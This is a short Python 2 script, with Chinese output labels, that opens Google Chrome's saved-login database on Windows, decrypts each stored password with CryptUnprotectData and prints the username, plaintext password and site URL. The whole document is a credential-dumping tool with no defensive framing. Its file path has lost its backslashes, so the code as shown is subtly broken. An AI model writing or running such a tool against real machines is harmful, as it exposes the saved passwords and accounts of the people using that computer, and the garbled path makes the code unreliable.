#coding:utf-8 import os import sys import sqlite3 import win32crypt directory_path = r'GoogleChromeUser DataDefaultLogin Data' file_path=os.path.join(os.environ['LOCALAPPDATA'],directory_path) conn=sqlite3.connect(file_path) cursor = conn.cursor() cursor.execute('select username_value, password_value, signon_realm from logins') for data in cursor.fetchall(): passwd = win32crypt.CryptUnprotectData(data[1],None,None,None,0) if passwd: print '------------' print u'[+]用户名: ' + data[0] print u'[+]密码: ' + passwd[1] print u'[+]网站URL: ' + data[2]